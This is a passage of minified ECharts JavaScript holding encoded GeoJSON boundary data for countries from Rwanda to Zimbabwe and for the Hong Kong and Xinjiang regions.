[-182982,72595]],[[147051,74970]],[[154350,76887]],[[148569,77377]],[[58917,72418]],[[109538,78822]],[[107598,80187]],[[52364,82481]],[[102339,80775]]]}},{type:"Feature",id:"RWA",properties:{name:"Rwanda"},geometry:{type:"Polygon",coordinates:["@@ͬӃµӵʏŁѿÆʱӍԛàþҠŘތԄʎɺȰďԈʸ"],encodeOffsets:[[31150,-1161]]}},{type:"Feature",id:"ESH",properties:{name:"Western Sahara"},geometry:{type:"Polygon",coordinates:["@@oҊŸ@@ÉeNjEౝ᪁ª‚ᒷ޿÷ȳћDŽ்ᾓNǽ˫˜΢bCቆäĶ̢ΆϘˤୌୠ࣢Ђ੖ˀÖ˜ټۺĜ̦ʼnϢ@˔ȒԲ‚"],encodeOffsets:[[-9005,27772]]}},{type:"Feature",id:"SAU",properties:{name:"Saudi Arabia"},geometry:{type:"Polygon",coordinates:["@@ʼnΪʩʨÝͲѡ̞҃۴ʁۆׇ׀ϑƐ֋ߠīא–ӾӕञϿ͠ґǨˡӖ°ȎɹѦʕȊ͝زԟڴѓ־лIžҦœ̌ļͲनƅζʶȪ̢ٚŚƒˮˤƜ࠷ࡀ၆фdžŴৢɩబיᛎၕ༠ãݠąȾЏתv͠ܥаȓƠִ̏Λ¼΍ċ˩ł˯ʎɽŐ˟ŲȵʬǕɶÒdž͍Žș࡙͐ᡌщǞDzϪש֕၁ᠽ࠽ᝑ͑޷ϙ׻ࢥϹƕɁˬ͏§߻ĎƷČॹmɫùΉɔɝЭĒΟρˋ"],encodeOffsets:[[43807,16741]]}},{type:"Feature",id:"SDN",properties:{name:"Sudan"},geometry:{type:"Polygon",coordinates:["@@śhdмĵ̀џͨĵ؄ĶبϳÌÍȇԍ©Ȭʕðԍңңл؅џđ۹Ӫͅǥđʓџǃ…ǥ࠵@řǦ؃†̡ƝɳîѝӬƟɲ؃ŗɱϵɏݣ˿ǁʳğå ̅ʎÃʼƌΔE΄ӛՀĩάZȰ̱ʜUӦǭ͖̍µĎ̰ɒΖħΐˢʴǫȞɞ԰ϨئܦÏ¥ ZΚॲH@း@Ὂ@ῼ@˔ࠗȁƳŪࡻ্̰͌ȷҠ̳ыӑأƏ˅ʳĉ֑α௿ĚͳƅܟͿࠟԓзέٛč΃Љɽʝ࢟Dij"],encodeOffsets:[[34779,9692]]}},{type:"Feature",id:"SDS",properties:{name:"South Sudan"},geometry:{type:"Polygon",coordinates:["@@Xٽűʯѿq˷ӏԨÑюХƨͳϦșӼࣳ֫օԫԇԫϭסFگȟՕȊ΋ɭ݉֐ȥάҵDZϱÆɣƕϗĸԗۚƉˊعͪɅԌΕζ֟ѬS˘ҡͼ֯͠ʴĠ̀ǂɐݤɲ϶؄ŘƠɱўӫɴí̢ƞ؄…Śǥ࠶@†ǦѠDŽĒʔ͆ǦۺөѠĒм؆ҤҤïԎȫʖԎªÎȈϴËĵاĶ؃ѠͧĶ˿cлŜg"],encodeOffsets:[[34779,9692]]}},{type:"Feature",id:"SEN",properties:{name:"Senegal"},geometry:{type:"Polygon",coordinates:["@@΍ٺн̚φDŽРמȦќ˾ːкïШǾҶVДʙ֎ɝԘأֈֽžԹǔӓ̾ɿî͗ʽŧ³қâÙģȃk׿ȲЛV༇–ɥħ˥‚ѻƋƏ٢ވkȬŞƮR̸ȘήǯκcζȌǝʐˡƙʻJͧȸˉ_ȍȥࣵy"],encodeOffsets:[[-17114,13922]]}},{type:"Feature",id:"SLB",properties:{name:"Solomon Islands"},geometry:{type:"MultiPolygon",coordinates:[["@@ɾ˿חN͉ԬԈȯǜ‰"],["@@͝mԧĎǫżÀͮֈƁ˜ǭƎə"],["@@ųƹحܰǫԈ˺@̠ڥʹЗ"],["@@–ǛڅΦҟ̠̿˪ŰĐϮȫېϭȢˉ"],["@@Ǘ³οȒ·Ί¨ƖԈΡͰ˛"]],encodeOffsets:[[[166010,-10734]],[[164713,-10109]],[[165561,-9830]],[[163713,-8537]],[[161320,-7524]]]}},{type:"Feature",id:"SLE",properties:{name:"Sierra Leone"},geometry:{type:"Polygon",coordinates:["@@ɧØ؁ͺѩ҈Ƨ̬Ĺت҆τĬɺƞǸɶpȜǂڦCɺ̛ǼˁʓƈɗṶɴ´ϹϹϛҗ«ʓȩˏ"],encodeOffsets:[[-11713,6949]]}},{type:"Feature",id:"SLV",properties:{name:"El Salvador"},geometry:{type:"Polygon",coordinates:["@@ġȡӡ^̡Ą΍ǘұÀʃǶ~Ů˾ɄǀĢ«IJȠ¾ʜëǸǙʪƇŒœτĴǤÑŘĝÏͳ"],encodeOffsets:[[-89900,13706]]}},{type:"Feature",id:"-99",properties:{name:"Somaliland"},geometry:{type:"Polygon",coordinates:["@@ϛԩד۫۹Mᩧা͍̜̳К̳ҨǾ̖̲҈˚ƹǒΏϜΗкGߊɌࣴĴ݌ʼиÆ̚ƶӎˆKaE΋Aࡑ@ѫ"], +encodeOffsets:[[50113,9679]]}},{type:"Feature",id:"SOM",properties:{name:"Somalia"},geometry:{type:"Polygon",coordinates:["@@ѼĎЊ˾͈FpɵýӧHѳǯ̣ʁࣥЙयԱ੷ܝ௷ܓवধ଩ࡁڹష࠯޳ٕँৱȗѷȍȣӽۚWᵤܾ॒ɰˆբfݠפબšᛜᡄה۬ϜԪ@ѬBࡒFΌLbːhϰŰ"],encodeOffsets:[[50923,11857]]}},{type:"Feature",id:"SRB",properties:{name:"Republic of Serbia"},geometry:{type:"Polygon",coordinates:["@@Ԡȡà΋Ӫʓ˄ȌȸĿșƗƶƥȷȏø̫Тγ͋ʿƗˋĞijƑšϳa˹µƒØĴĴĦȴšKǍƼƑ ŋƆƽÀšŠƯ±ś˧ȩÑèð͋Ǩ˟ĜūŜɟƠȢšŬЄЛ͔ɀτ̥Ë͔́ˉʈȱ͘٢ɚԾ™ҖͣĦˋ"],encodeOffsets:[[21376,46507]]}},{type:"Feature",id:"SUR",properties:{name:"Suriname"},geometry:{type:"Polygon",coordinates:["@@৔ǙĞưڶÔࣚɥѩܟâֹͤӽƥίóϩɉΛӓDzЇđ͹öčʏƘǗ÷ǡҙèԡܴōӄˏBωؐƺѠ¯ȤԜɖƈݲ"],encodeOffsets:[[-58518,6117]]}},{type:"Feature",id:"SVK",properties:{name:"Slovakia"},geometry:{type:"Polygon",coordinates:["@@´»ΊŖш̕ӺǶЈđ؂Ţߚ͓ɷɓǏ͹dzđ࣑ʮ˟»ȟȡЁĿěÄХŽͭ}ãǙ۷Ļ̱ĠёɌċ̆äńŢȂόa˺ĔxþLj¢ÆȒȖ˜žưʢD"],encodeOffsets:[[19306,50685]]}},{type:"Feature",id:"SVN",properties:{name:"Slovenia"},geometry:{type:"Polygon",coordinates:["@@ۜÝъȐܾtLjƘƘUǎ˳ڝɟć͹̇đHɻͣh˷ƎƷƙב†ȈúȫΨĞа"],encodeOffsets:[[14138,47626]]}},{type:"Feature",id:"SWE",properties:{name:"Sweden"},geometry:{type:"Polygon",coordinates:["@@ࠁוƀԥ೹ڭྱܡؓஃײףߦүޗॅ࢑ȝ͍තӋ޿৳ĆӅڗঃˉߐ۳॔ٓஐφӜּۨ˦ন՝ю½ૠղ߀࠰ä̧ͬ˺ಬஂࡀञֈײ߮GɞҶཔƉŬքԸ”૪Щ಼ֱv಑˴͛ฃʃ"],encodeOffsets:[[22716,67302]]}},{type:"Feature",id:"SWZ",properties:{name:"Swaziland"},geometry:{type:"Polygon",coordinates:["@@ǡύӭěԅҖS̄ɰ̀ĂʔʐÒшƵŰϕðω"],encodeOffsets:[[32842,-27375]]}},{type:"Feature",id:"SYR",properties:{name:"Syria"},geometry:{type:"Polygon",coordinates:["@@࿩ࣅऩͬgNŖŶ_ΈȸҠҜ̈́Əͤϗ¨ÿٞȶΌɤȀɤȀ°Ҹ˞Ǐऎɺ҂ƿۖFॴ̀Ґaक़žїԽҡȹĂؗͅ৫ᇵ࢓"],encodeOffsets:[[39724,34180]]}},{type:"Feature",id:"TCD",properties:{name:"Chad"},geometry:{type:"Polygon",coordinates:["@@ĎЄաnDզΓ̶δ૊ੴߌ¬ન͖ၼǼΰΓ˾_ˌ̽ɔȷರࡔҠ…ྑ…ྏ¦ ܥÐϧإɝԯǬȝˡʳĨΏɑΕč̯̎¶Ǯ͕Vӥ̲ʛYȯՏƛэͽ؉ࣹ߅ϳ߹¾ʁûĊ̏ѫ̋Σ͟੓͏ȽȐƓhƹɍۛÙƀɪ˅ׄşΐλƜӷӪǼІϦċʂÐҸSқކŒ֐É֐ͭՠ"],encodeOffsets:[[14844,13169]]}},{type:"Feature",id:"TGO",properties:{name:"Togo"},geometry:{type:"Polygon",coordinates:["@@ڱdzȇ̎ɡՔãкȆݴɁ̬ăڎD؎ΕѠÖˀ݂kŅѵʲʝ̈̋ŽЭǜǥኝȺׅ"],encodeOffsets:[[1911,6290]]}},{type:"Feature",id:"THA",properties:{name:"Thailand"},geometry:{type:"Polygon",coordinates:["@@ݭϬܗeŬڈ݉Káऋґ௯˙ݏÌ؋ն΀ދưܭҶӓԚĭѤѧ˝·ևĵßќۇςƣƭͧ͒ƝжҁӄПЌƏӳǃҲĠԾʚ߬ТࡸҤ޶͟ތ`϶ĩҸ֕ښȩф̄ƺ̮ܶ·ֆՓؘН݆ΠƴϦࣦצœӬθӔȘθʷ´ԍ֨ȷࢭpݫࢰԆʤƧӰzǜَ̊ÍٖڽÀࠥںܷ›܅˙ϛ޿ŦગDž՟ۧȤ১"],encodeOffsets:[[105047,12480]]}},{type:"Feature",id:"TJK",properties:{name:"Tajikistan"},geometry:{type:"Polygon",coordinates:["@@̭ʷࣳƖāӛ࣬Þਢ˗འŶɈާˠĐԜȓ‡͛ŴӍࡿBׁØԻϕύĉ̉ǯͩˠþ۸ʩ¢ĞʲғȐα̇ė͹Żūԇj˕ϩ˯nj؋ˑʱĺӀࡘǹض؟ȨɔφۮŸЌҬˌբ૲ȜǩϵŤɹΎv"],encodeOffsets:[[72719,41211]]}},{type:"Feature",id:"TKM",properties:{name:"Turkmenistan"},geometry:{type:"Polygon",coordinates:["@@ñۼطŠॣݔڣĠगюׯþσƽ֙|ׯӓ݇NjƻרŪ࢞ٽ˶Ɏֺ֏¸Ȇ۾ߊȵ݈ˎؓԎʉӔڱɋď؛ʿհψ˨ॖǪ֨ɻךڅњ¤ॆ\\Əцܖ̂۾ӦଆѹĜڡ͐ǣࣦžˮƳаࡽ०ׇոЃ࢞Щ૤Ϋwԥʩ€Ѕɤſ̙۽NjǙڥӁʭڏŵǫϟهŏࡩ͈"],encodeOffsets:[[62680,36506]]}},{type:"Feature",id:"TLS",properties:{name:"East Timor"},geometry:{type:"Polygon",coordinates:["@@IJȤܢȌז†ˀŀ͆Ľ̯ɫ࢕ο۳ʋeʬďǔ"],encodeOffsets:[[127968,-9106]]}},{type:"Feature",id:"TTO",properties:{name:"Trinidad and Tobago"},geometry:{type:"Polygon",coordinates:["@@ӚŊǮ‡‘صۭġƯúʒɲiͪ"],encodeOffsets:[[-63160,11019]]}},{type:"Feature",id:"TUN",properties:{name:"Tunisia"},geometry:{type:"Polygon",coordinates:["@@ΩພԭͺQȰۉԄóنԮҶȢۚƃߠǠќࣶͺךĵ}ы܊̲ÒljпЫMϱ̆ȽōܫփхDŽқѤaɄЍ͊ſ³٥Хʋʵˏֽ͓ĘΑïΟЧț"],encodeOffsets:[[9710,31035]]}},{type:"Feature",id:"TUR",properties:{name:"Turkey"},geometry:{type:"MultiPolygon",coordinates:[["@@஺͗ঐżܤõলѬࣆ¢ߴЭƜ̑ăУزȻͨʕֻʇˀ५ǏʻҠڧЕƙ̏Ɋ঍ňίŽॗŽҏbॳ̿ەEҁǀऍɹ˝ǐ¯ҷɣǿɣǿ̱Ϡ͈͂ԟí۱ȖֿәౣĥڹҊࣟ†ȗΑׇij߻҄ࣻeӽ࠶ؗҰЦٸՓВठߨಒ’Μྀٔŏ৞հ঒ʄർlุף"],["@@۫ҏ˃Ϻ\\ǦȦĦʺՂХɞࡦ˄ܤőĴ͓ܼ˓Ƶȵি±Ωʷ"]],encodeOffsets:[[[37800,42328]],[[27845,41668]]]}},{type:"Feature",id:"TZA",properties:{name:"United Republic of Tanzania"},geometry:{type:"Polygon",coordinates:["@@ƚġᵂႋÌӣ஼࠿ϱਙ¸Ӊՠ̩~ɓɳԓ¶ʭÇГ̌Ճΐ̰ࠡǿڝӣࣿ͛ԋb̙ʥבsɕŃঢ়ʂكåɽଢ˵ϺǛɶࠗƾӉʨՕƘͯƘΗɈґ੖ӣҺǗӤČѨƯޞΎ ̨̦͜ѬȺǮS˘ǷȐ·ͨʐł¶Ӷͫӄ̎Ķऄ[ႎà"],encodeOffsets:[[34718,-972]]}},{type:"Feature",id:"UGA",properties:{name:"Uganda"},geometry:{type:"Polygon",coordinates:["@@ः\\̍ĵԇʷȯĐPوȜ͎²ڬǰϸ͎Ѭ͔ɠ˒̘͵Ŗ¼চΌɮՖȉڰȠעEԬϮЊ׍İсτ९̧ؓЯ֋ʉͽTࢹႍß"],encodeOffsets:[[32631,-1052]]}},{type:"Feature",id:"UKR",properties:{name:"Ukraine"},geometry:{type:"Polygon",coordinates:["@@̾“ɄȒʮ¥ࢌĆ՞Ӈȿǝêʻڠ£̘ηkǑ੪̏٢Ƅ԰ϿӮVఊ˙XʙͿѯȆҩƃ˩߻Õџɻύڡã֑˕޽«ܣ̻¸ԹЪȭࡨ¼Ǐ̛ँơଛӟұǠȄЂࣽʘƨLjߪ˪ʑȔಯɆË̼ީĻ̷ҧٱةϟƠЁƉϑƺɂĞƦ˾ɲˎÑƮǬäĊśӸ{ɞØƽĎÐŲ̉ɈŧΘ̩ƐÒ˶ϝɦΉŽأʾ֑ĉȧŭΟ@Ƀȟاă˹ŹϷȴ՟HԳĢγǵÍɤұɮǐͺɸɔȀµɑϘބۦиİĜɾхܼДҢɪٲnࡖßबȫڎi͂ŧ̀Ʀɚȝݸ¢ͮąÄцʶȂܞº"],encodeOffsets:[[32549,53353]]}},{type:"Feature",id:"URY",properties:{name:"Uruguay"},geometry:{type:"Polygon",coordinates:["@@ղĚࡆٯ̺|ࡺ՟ڈҫӠֱχЉɸӇεՇॉұاǚғěޥΰ֫ԟҬÞլǾȈS࠸ɤࡺȾڦ"],encodeOffsets:[[-59008,-30941]]}},{type:"Feature",id:"USA",properties:{name:"United States of America"},geometry:{type:"MultiPolygon",coordinates:[["@@ũƕȽŤ|ɾƓ̨¦ĤƤƎÍǔ¸þÜe͐ƙƬñƌőɊ̍q¯͟ǵˏſ"],["@@˭ÑƟǮīèQÀĈî̘āɘŹëĵ"],["@@ĝ҉|Úĸа•"],["@@­µÓŻˆŃȒ’ɤŚêÃʐ˥"],["@@ıĉ˱ƴªÖŸĈȘijȝ"],["@@Ƭңʼƛז½࡬ƅࠂʹڼŊਖɓ˞Tݨʄ߂̧ࠒ͗ں˩ٶˏĈəȢĉ½ĉɦǎĔ¦ȣǜƅɴ@ŬĹĽƫ࢖ЁǶށǚܳʗӹЁҥȁ̍mēĦť˸Ɓɂ@ঊ҆ࡾƀસмfĐ÷ʰƉǒϜƆࠜHޘAˎ͞ŀàࢶ؄ϜƸ౦N໾BĎȺː¦Φž̖Ϣʲٺٚي˨ə֜ƜώʏAଧռӅƢ˝࣋Пࡷ̃ࢱʝѻӿƛȋSѽˤѽΒsė̬ʦȇãʇ֥ƋЗhةƥλ¥ӥ¥۫ʏఀǂʠǃ୳ʥ՗C|ĺʭɷʚǹ׽ؑ٧×Ɏȁª˟ɀǪҍȼƭ^ͅˏ͛ҿڡûʺֲѕ͎įۦljεǴՑևƀׂ˓˜ߛʊÍĖ̃ŠࡁՕدࢇʝցӱнÁэ̱ţ˭इձӁЍЅӽŻׯƪ׍ˬܗώשLεЊঅ֥—͛ȿԡʣŃЯĺƁς͋ȖѻܢϹٞű͢Ǥ֐ɽҦٻ۲͟źࡑϡƭ¦СϼՃȺोŁݗĤٙÍΏſƲɟaͽǴǓLJō̵Ů́ǃ؍€طѺܻĿ؏ȚԹÏۻȝއح࠳γҝБȕϗUׅ¨ЕDŽ˹͝{׭ȂٽʺɽЄȁטӷӐ̃ӰуֺףͲۉgՉڑۣʦѡʪȽҦ˧Ѯӿτїˈ̩̖ป@C΋ڗ@ဩOቿפ౓ТĀǒ੩ĝॕÝƙіխӚϻĴğʌһ¦̝ɪޭĊɉƌĹҢࠁࡊ۩ୠˆȚχˤٯ۴řۆ҃ҞȀۢ…ܜˍ٢͠ߊĸނĺނƱૼˇܘʓ϶ĸǐ௒˷҂ߋȺɜƇې˷ێᛸ@᠂@ࠜ@ᢢ@៚@ᡀ@ᡄ@᭰@ᮞBაAF͔˴J"],["@@࠽͋ѕɐŽЀބ̘҆Ÿ֐ÉΤʻܫЍ"],["@@ԧŽսƾԛɮࠦƞښùĂ͑"],["@@԰DžԾĒڸɛ࠲őéĝُDZٕǾ͋Ʋݍµȧôº̈́"],["@@؊ϛώnjහ»¹ȕ౾ƛࡨČᄚ˅ྤā٨ʼn૦Ǝౢʧࣲŝ@@MᷱIⷍࠠ{ࠌɵהρݜցࠈҺࡈ˖Ҁѡ֤·ޒϙՂ׽࡮य़ේ՗xՋұЙҥ͂ݍˌʃܺએںҍߎ߯Ä೷rটʌ჉ࢎߩDŽ฽̜୑í࿻ϬৃΨटǯǦ׏ҫÁঁǫ݉˱झdzťӶϚࠚࣀʶɱɂੱҵֵ֑௅ױؚСߏ׿ࣗΗࡁʱȻωಽѡ˅ϿছΫֽÞ޷ɻ࡝˹ۧ˫෹ʉſƘऀϾࠔʸࣆҠਬĨвΈ୘ԊȈǚب̒ƢْђӸॹʫ˓Ơҕ̧շюɧ̝̽м࠿ͳԩBïԄƲ̮ե̚થLJ܁ЀַȬIӈ٩Ϊ͘ӘۆҸ̚њںÖ־ƇڴМ؎ï٘ʼƻϨҹưج͖ԩWࢻǽʯȃڏȄஏĥ௷ȬΛ͸੟Ӧ୾ΘመШ۔@ŕнᄢŽڽԶਕ͌ױр߫ΨଽˈҺѲ๰‚ਗ਼ϦȨФ࡬ЎࠊĪཪώޜÉಐ҄ౚǭ"]],encodeOffsets:[[[-159275,19542]],[[-159825,21140]],[[-160520,21686]],[[-161436,21834]],[[-163169,22510]],[[-97093,50575]],[[-156678,58487]],[[-169553,61348]],[[-175853,65314]],[[-158789,72856]]]}},{type:"Feature",id:"UZB",properties:{name:"Uzbekistan"},geometry:{type:"Polygon",coordinates:["@@xԦૣά࢝ЪշЄ॥׈Яࡾ˭ƴࣥ͏ǤěڢଅѺ۽ӥܕ́Ɛхॅ[ᶾᓘӺƾïದ׻یͅߤݵঢŪ෸à৔ؗÙࡅЦMǢۍ੬ɲЉ̺Lπ׺૎הӖƺʠĉ۵խئ́ײȾ়ѷ੽؁ٕĊ΍uţɺǪ϶૱țˋաЋҫۭ ɓυؠȧǺصҿࡗهǰҳN"],encodeOffsets:[[68116,38260]]}},{type:"Feature",id:"VEN",properties:{name:"Venezuela"},geometry:{type:"Polygon",coordinates:["@@yȣӱĭ˜ϡYѭυӥ͆ڙδÆȌ؈ʻ̒§َਸ਼΀řІ̎ˆ̞ןל_մҵ˧ݮQ࣌ĔӖϕٞĻҼʾXɄਨ¼৖\\܉ʛ˼Їڦ×ِЯƆڧѬn͢ȣڕӱó̫˾̷ȽƽԫƉjϱɫɱّ֪Őʁ̭͍ऱ̽׿Žʏȣڛɀثņƿýϔɑ‘֝ŜՉ܆ï°ǭ׷ʅĭΣΉƏسȝNjʱٷÅҧѼʯ࠺ɟ̧̌Ȅюм…ȊʅʠǛ֒à׼Ȉ˰ƲҎ̓Ơӏĩ؁®ͻęסܢӥńઉăȧ̊ȷê‡ǬĴ̶áͺȃȂŅϮѡÈɸӮĺ׶ʔ̸͘ʌɈрդƖ"],encodeOffsets:[[-73043,12059]]}},{type:"Feature",id:"VNM",properties:{name:"Vietnam"},geometry:{type:"Polygon",coordinates:["@@૭ܗ۫ߍȁ׍٠ࢭ޺ળނԱԞګϪ།ŕ๓۫փ१եۇ۫਷ޱ̧ՠʀ֬دӌܬ͸ࢦÔσԚප٨ļ৖ț֖ƶࡀɃצٍאՋ݌ۥ঴৓Ԋʊ̠՞ɘ͙ܺਙPϕކӭڐҊȴڢIࠈĬܒ҄К̿ސƵƃӛАͿࡎɓ"],encodeOffsets:[[110644,22070]]}},{type:"Feature",id:"VUT",properties:{name:"Vanuatu"},geometry:{type:"MultiPolygon",coordinates:[["@@ˣō˭ςŒɤՆӗ"],["@@ƌڱɥŀǩ­ťɴi٢Дʵ"]],encodeOffsets:[[[171874,-16861]],[[171119,-15292]]]}},{type:"Feature",id:"PSE",properties:{name:"West Bank"},geometry:{type:"Polygon",coordinates:["@@@ԣŭʙЃŕ˜ɜɌŚɁĦǬ̤֔ś"],encodeOffsets:[[36399,33172]]}},{type:"Feature",id:"YEM",properties:{name:"Yemen"},geometry:{type:"Polygon",coordinates:["@@؉ɥNjύo˹࠷Οഇϻݩףυ±ʥºӭΑ՗lj۷©ɃµǿɛəÕŻɇеlˍœ׉¨ɓӬzҠƍʜǑتʋΊǚ¤đϨĸNJ™ξςˌđΠɞЮΊɓɬúॺnƸċ߼č͐¨ɂ˫ϺƖ׼ࢦ޸Ϛᝒ͒ڀ൳˞ח"],encodeOffsets:[[54384,17051]]}},{type:"Feature",id:"ZAF",properties:{name:"South Africa"},geometry:{type:"Polygon",coordinates:["@@ǏŧΣяɻћӇ׻ोࢁףԋًϣ࢛͙ѓ«ŇɷԛŰеDž࣫NJԙĹΏ¬ࡿͩܓƃԱͅϡoΣ̚˳fαϒŸśŏɦLӰ˙֞˔ƴs٤ս޼х܈AF׽તДдͪɯƘΫϘÓՈǃҌÖݤіB᷌ɨűӾߙûԟȈ̏׼ĒрϒЊʨȶДЦȚΠķВɽۂ£՞ȜĐʾƨДҚäʨ͂˪֔ݮغஒؤ΂UОƛ˲Ķ҂ċД஁ɔׯƫऩî̟чƶʏÑāʓɯ̿T̃ԆҕӮĜǢώْQȿؑıۥɑϛֵщ","@@νʶϻǟҕ҃͡Տـ٧̜ČƺˎҴƀƜ˜ʴФ̅ʪ"],encodeOffsets:[[32278,-29959],[29674,-29650]]}},{type:"Feature",id:"ZMB",properties:{name:"Zambia"},geometry:{type:"Polygon",coordinates:["@@ІϏɊ܋ƝɩǙڻLjۡ˃̇ʭޭѶɓᢇۗĂׯٍřӍͯĹ̛̅ßܵۓҭխ˳o˗ĬऱĠƯÚOêͧȎկ¶ۋȑչԾ֣یžᦶშYí̂Ű̀ƧЀĪТėʺ̂q¶ʽϾrՖûˬϡڨŝԤˆȌѯ٠ş̴ΧΈҥ٠Që࣠ɱƳח͞ɧƬļࡈƬসȉψʈ՚ɤĶ଀ƚͦđΘɇͰƗՖƗӊʧ"],encodeOffsets:[[33546,-9452]]}},{type:"Feature",id:"ZWE",properties:{name:"Zimbabwe"},geometry:{type:"Polygon",coordinates:["@@ҁČ˱ĵНƜ΁VՙϞٯźʙՒC̒έĞ्ई˃ӢǛƮ͓ڤलğ˘ī˴pҮծܶ۔̜àĺ̆ӎͰَŚÆ̻۬hϴǯǺȻАÓѦˑF੟Ǐ׋—عƊʝħӵŵùɛ؅ࢫ॓"],encodeOffsets:[[31941,-22785]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xiang_gang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"8100",properties:{name:"香港",cp:[114.2784,22.3057],childNum:1},geometry:{type:"Polygon",coordinates:["@@™@}ScTʟ@cWuJÁ–]„l¦RLj¼BĄà˜ ŽH@TOHCTDDDHDNAT@PEHDDNJLX@BABALHFF@DKHADBBLDHHFBLEJB@GDBBFBADDB@@KFAFBBJJA@BB@@FFDDADFF@FADDDBJC@AFBD@@DDD@DAA@D@DB@DHHBFJBBFEHDFAN@DGDC@DLCBDDCFDlAFBFCBEF@BC@GDAB@FD@DZJ‚X´HĐMja@Ý`p_PCZ@lLnRGSDMFK|a\\Y}­ƒ§™Mën"],encodeOffsets:[[117078,22678]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xin_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6528",properties:{name:"巴音郭楞蒙古自治州",cp:[88.1653,39.6002],childNum:9},geometry:{type:"Polygon",coordinates:["@@˜@ÈÒĊanwŎV„™Ȯ¦ͪŃĢ„ÜōȂçČéƐżLɆóĊ‚Ċaʊٱ¯²Um»ˌmÈ»V™ʠţWÑůǓ郙ôƑƒğÆīŎī@Ƿ™wô™˺LÞ¯ƨVǪуšĢ™ȘV°wĢŽôk°¯ƒ»΀@Ȃ»ĸŽǔ@΀ƒ͔ôôLɆó̐ÝɜLɲōͪƒƨóŤK@ī@IU܃ÛmȻţǩÝ˹ÛljťǓǫō@Ɲ²¯VçōKͿŁΗÇţ»ƽ™ɅƑLÓŏÅÅɱV@ÝĊU¯ÑĊĭÞLšÞŎJ±̃XȣˌōlƒUÈ¯ŎKÆƅ°™XÑܱnŗġV¯™óaUƒƧUōŁ„Ñ™±„çɲ¥lĉkğ°ƒk¥˜ƒnğţL¯ÝÝUƽĬ΁lķ°@„ō„XÿݯV»ŹLʉÞɱŤĉó°ÝJ™¦ÝKÝ£ţܙÈĉ@ƒxǩUċƑ@ky͓¹™`U²ĉVġ»ğa¯¥ť@ĉ™‚ó@ŻÛÛJƒw¯nó¯ġWƽʩķÝɛwĉĕݼȭÞķō@ó£Å΀ƑޝôȯÞ¯Ȱ™ÆōèĉXǼó@ݚnºƒĸ„ÞVƜĸȚUʶõˀĵĖɱŎÝĖVࢰӒѢ°˘nϚVˌ™ÈmɼĵŦW¤öʊõʔ@°ÈXVŽ™ènŎȁb¯ǫĉ„±Èğ`ġwōÔğ»mVVށ„Ý¥ó@™ĸķô@ššbX„ĶmV²²`Þ_˜˜ɴbͪȰ„ÞWĸÈŌmބškɲŽÈUÆ»n¼ǬVķĸźô¯°n¦ɄǜÈ"],encodeOffsets:[[86986,44534]]}},{type:"Feature",id:"6532",properties:{name:"和田地区",cp:[81.167,36.9855],childNum:8},geometry:{type:"Polygon",coordinates:["@@ƨ¥šèź٨ΘƑᩄbUࢯÞĕɲōĶĕöʿVʵķșUƛƒÝ„ķm¹Þ™ô@È»ĊWŎçšÅ°ȯȰÝ°óƒÆͿĉ»̽çnƒmɱĵƧºóU™™ƽ@±wóL¯°̻L±Æ¯Vƴķb¯VÇ¥ğ²Ǖbk¥ÇKlÅɱġ@у™óK@™ÇaÝXğţxĉČǫķê¯K@уaŹ„ƑKƒ¼¯Vóaónġw™óÞéU™ġbóĉğÇl¹™aUóğKW„Vůn›ÇŋƑ›ķnʇ»óxĉw™çǰÅw™°ċ„XŽ™„ób±ƒkÈÇJ—ƒm²ţx@ÒݎšŦǺn„ó¼n°ÇbUÒ±¼XĸĠłƽXmwĉºƒzÈÜmnxmx²ĖmҚbnŽƧêUºĊêÆVóĖóUĉ¼ÅĬƑ°ɆƆŻŚlłÞLš¼nĠƒ¼@ޙšÞź@ŎÞ°VšɄɴжϼِ͈Ŏ„"],encodeOffsets:[[81293,39764]]}},{type:"Feature",id:"6522",properties:{name:"哈密地区",cp:[93.7793,42.9236],childNum:3},geometry:{type:"Polygon",coordinates:["@@WnŐÆĶL̦ţºź„lxÅĸƽŚ‚Ʉ—Į˜è@ô²ÞUĔƐńV°¯ĸX¦Ɛm̐bƒ»Ɇa΀šĢ™ƐLˤ™ȘÑnƒІljĸÿn¯ĶaŎ¯ĢĕȘ¯°΂œla¯¥™ǕǔwˤӱlťО̻nŻmɃĕċţUw°WUóƨÅţķ°ýV±óÅǓéʉ¯ƽكéōǖȁÝƏůǕw˹ǫȗǓƧǕVý™é@ĬţLƧôͩ„ɱŎɛK̏ÞɅôóK@²@°ōؚ¼lŦ¯ŰóƜÛlV¼ķ¼ƒ°kȰ™Ű„ĠƒǬ™ŚÝŎmˁ`@ÇÜn„"],encodeOffsets:[[93387,44539]]}},{type:"Feature",id:"6529",properties:{name:"阿克苏地区",cp:[82.9797,41.0229],childNum:10},geometry:{type:"Polygon",coordinates:["@@VƚxˌŎÞŎƒ°n„ȂÒ°²VĊ¯VğƾˍǬƨÞÞKÈÞĊVźôɆÞĢèԐôWȲŤVÞĸʶbl‚¯ôn_VÆĸlmÞnVź_ĸ¼Ȯmǖ„šéĸW°°„ĸJ„kʠ¼Æw°¤ÈƒlxɆzČºĶI²ÆǔUš°ô@Þ¦‚ƒUnUĠ¼ŎÓĢxĠ_²ÇĊƒǬ°ŽȂamōšçUÇW@¯öʓõʉX£ĶťnɻšÇUˋmϙ¯˗ӑѡᩃaΗƒœɜ°xWƴUxɃÒˣ¤Ʌwğ„ʉōóÝŹ±°ȗ@¯„ƃ²¼","@@ō™гwȁ¥Ƨ°ŹÑķV™¼ÞêĊ»‚lĵšm¦ÅW@ĀôÈźaɜxÈbÞÆĶIОŘnIÇŃÛÝĊÑĠƏ"],encodeOffsets:[[80022,41294],[83914,41474]]}},{type:"Feature",id:"6543",properties:{name:"阿勒泰地区",cp:[88.2971,47.0929],childNum:7},geometry:{type:"Polygon",coordinates:["@@ɲˣĊIÈ¥‚ÅU±Ċýkō°ƒĉƽó»ĶƽXóʵʵ™ȯƑÅȁɅ¯ĉ@ÇሗK֛@@ˤV֜ʵрƒǬVĸƑŎ@ƆϯÑóŽķ@ʇ»ķ¦έmlÈĸĊX¼WźÛÞÝѸ‚ĢČþ„ĀĊôάVö¼ĊUƨ°°èŎČUÜÆóôVôô޲êȘlˌç°`n²ǬŽĊaš™ƒÛ°±kğmm»š@°ÝɆÛÅÇVaݍVm͔ğôÝÈb‚„@„ƒ™n¯š™ÜUĢÑĊ@źīżWŤÈǖWôŁÆI²ÓƨL@ŽĊX„mmÑÆ»ȰÑkƒĶō@ý°m—¯